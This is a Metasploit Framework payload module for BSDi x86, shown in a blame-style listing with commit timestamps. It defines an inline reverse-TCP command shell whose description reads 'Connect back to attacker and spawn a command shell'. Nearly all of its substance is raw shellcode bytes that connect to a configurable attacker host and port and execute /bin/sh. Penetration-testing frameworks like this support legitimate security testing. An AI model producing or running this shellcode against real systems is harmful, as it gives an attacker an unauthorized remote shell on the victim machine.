2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-24 01:19:59 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-10-11 07:37:10 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/handler/reverse_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
2010-02-24 01:19:59 +00:00
|
|
|
require 'msf/base/sessions/command_shell_options'
|
2005-10-11 07:37:10 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2005-10-11 07:37:10 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2010-02-24 01:19:59 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
2005-10-11 07:37:10 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'BSDi Command Shell, Reverse TCP Inline',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Connect back to attacker and spawn a command shell',
|
|
|
|
'Author' => [ 'skape', 'optyx' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-10-11 07:37:10 +00:00
|
|
|
'Platform' => 'bsdi',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' =>
|
|
|
|
{
|
|
|
|
'LHOST' => [ 0x1c, 'ADDR' ],
|
|
|
|
'LPORT' => [ 0x23, 'n' ],
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
"\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" +
|
|
|
|
"\x52\x42\x52\x42\x52\x6a\x61\x58\xff\xd6\x97\x68\x7f\x00\x00\x01" +
|
|
|
|
"\x68\x10\x02\xbf\xbf\x89\xe3\x6a\x10\x53\x57\x6a\x62\x58\xff\xd6" +
|
|
|
|
"\xb0\x5a\x52\x57\xff\xd6\x4a\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68" +
|
|
|
|
"\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd6"
|
|
|
|
}
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
2010-02-24 01:19:59 +00:00
|
|
|
end
|